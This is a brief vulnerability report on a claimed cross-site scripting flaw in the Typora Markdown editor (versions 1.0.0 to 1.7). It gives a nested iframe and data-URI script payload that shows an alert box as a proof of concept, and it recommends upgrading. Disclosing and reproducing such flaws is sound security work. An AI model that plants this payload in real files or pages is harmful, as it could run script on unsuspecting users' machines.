Introduction to Typra：

Typora is a Markdown editor and Markdown reader. Lets you write and read documents with seamless real-time preview and distraction-free interface. It supports image, table, code, math, chart, style and other types

Vulnerability description：

Typora v1.0.0-v1.7 version (below) Markdown editor has a cross-site scripting (XSS) vulnerability, which allows attackers to execute arbitrary code by uploading Markdown files.

Download link：

https://typora.io/releases/all

process reproduction：

Enter typra, create a new document, and enter xss payload

<iframe src="data:text/<iframe src="data:text/html;charset=utf-8,<script>alert(1)</script>"></iframe>html,<script>alert(1)</script>"></iframe>

Repair suggestions

Upgrade Typora version